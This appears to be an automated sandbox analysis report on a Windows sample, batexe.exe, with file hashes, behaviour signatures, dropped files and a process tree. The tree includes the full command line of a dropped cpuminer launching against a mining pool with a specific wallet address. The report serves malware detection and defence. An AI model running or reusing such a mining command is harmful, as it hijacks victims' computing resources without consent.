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Analysis

  • max time kernel
    294s
  • max time network
    297s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    11/02/2024, 15:58

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4756
    • C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1480
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A71D.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2996
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2924

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe

    Filesize

    6.9MB

    MD5

    1072c971cc049056302d7bb0d7bfacc2

    SHA1

    352aaa322919826fe8fe118ce9343b8bfaf19362

    SHA256

    8e190818d473348ccc1d318bc67a90fc578a667a2c8cf229058f59a5e4b11edb

    SHA512

    de133efe71334ad86bcbb7916984adae3ffbc3f148d8d9ee05e466c2ed202ece1e11bd689fcc7936b8b98a1b5607670ceae7bd91c9d723ba4a2f35e72400c944

  • C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe

    Filesize

    5.7MB

    MD5

    0ef8c2f91ec8b01748b4f54fe20e28a0

    SHA1

    c544219697e1d58bf348e5fb609a4dab50822440

    SHA256

    735fbff3a41e3502e586fbd8030bfe6f8c2b16d6a17eae3fa6ccbe0d65dfbed1

    SHA512

    103ac47d533cde2a5e1985809905bc244cfb76453653e8111035023e7c9440b88cdbecb8d80539680bc26015162419e6443b1443d751e96b91bee8fe50a0e668

  • C:\Users\Admin\AppData\Local\Temp\A71D.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    992KB

    MD5

    e3b4df1fb5b552db700efc82675215d7

    SHA1

    f094d67f9b28cb6cec54ebb40bcd8c6cef82483b

    SHA256

    6aa71aea7a6ab9498e56de0c5d7a681760001166b80cc28ab4fda5272b01659c

    SHA512

    0b2f5c0c55340774f9f33f68810bcc9b493c39cb8f8f68df5cc4731a0329519f2c0e25d13f875cef308824acead026968afb4be767347ce2248e9a7270f174d5

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.9MB

    MD5

    827e8d26b36b7574a2bf14459a3eda77

    SHA1

    4ac43a7fa826db1d6c98af0af8f628aa4b48cb62

    SHA256

    36ff800afe8285205fd55018ed1f0108e4bc41f2636921d7153eac4a3696a688

    SHA512

    28f20c8ed5260ad38a2523f03d88fc99044f6d864b30e4324d94547024aab8bd3619c68fd85e482179292bec1049bebda7816d6c6b560e828e11bd3da1d07c0a

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.7MB

    MD5

    6ce361c1ea446c83816606206115c85a

    SHA1

    37b113efae2e5654e98e8a3f6a48bec3dd02c694

    SHA256

    579d89f2fbf6af9d7ca9695391d4a9ee9327ec523f8d638439a0fe471c1a09e0

    SHA512

    f6371324305a1d4c759541a0dabb0489db30b6acd8efeaaefc946b5057a381b211731b3f6ecc3cbd244aa1d519f9090e36663435db6fd488bdae034086c06257

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.4MB

    MD5

    6209d231684a8f2e5e435f52c37246d1

    SHA1

    b86fbebd13d623ebc5765543b2ef075f41e57c7c

    SHA256

    d63535da6cdab2c1a2fe1620c6a418ba16e60f52545f5719bb88e7313f63de9c

    SHA512

    9d4d2d39827ebd76373a3cb02ccdc6b70737b4842aa9e9949f3c411502feda78d8c60e0612261f2b0491c928f3807c5d43030fae8d7192f265cd42fa356c9f09

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.3MB

    MD5

    34186df6e816c9b91f65fe8b0fa96fe5

    SHA1

    2fea770bd6833789725218bbb25902fb19a28c12

    SHA256

    5c731b2720104387b43feead835cb0776d5ed9c8b6e81069f454091eb2e24205

    SHA512

    94a12fb072270111e01afc14122b69df90fc79e1cece3eb611395b48d651d345f38d248a5a47e555fe98418f1a595ad5822de1ad4dca29f9ddfe7f8bca380fc0

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1480-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1480-6-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2924-42-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/2924-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2924-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2924-43-0x00000000667F0000-0x0000000066888000-memory.dmp

    Filesize

    608KB

  • memory/2924-44-0x00000000010B0000-0x0000000002965000-memory.dmp

    Filesize

    24.7MB

  • memory/2924-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2924-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2924-41-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2924-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2924-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2924-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2924-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2924-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2924-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2924-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4756-5-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB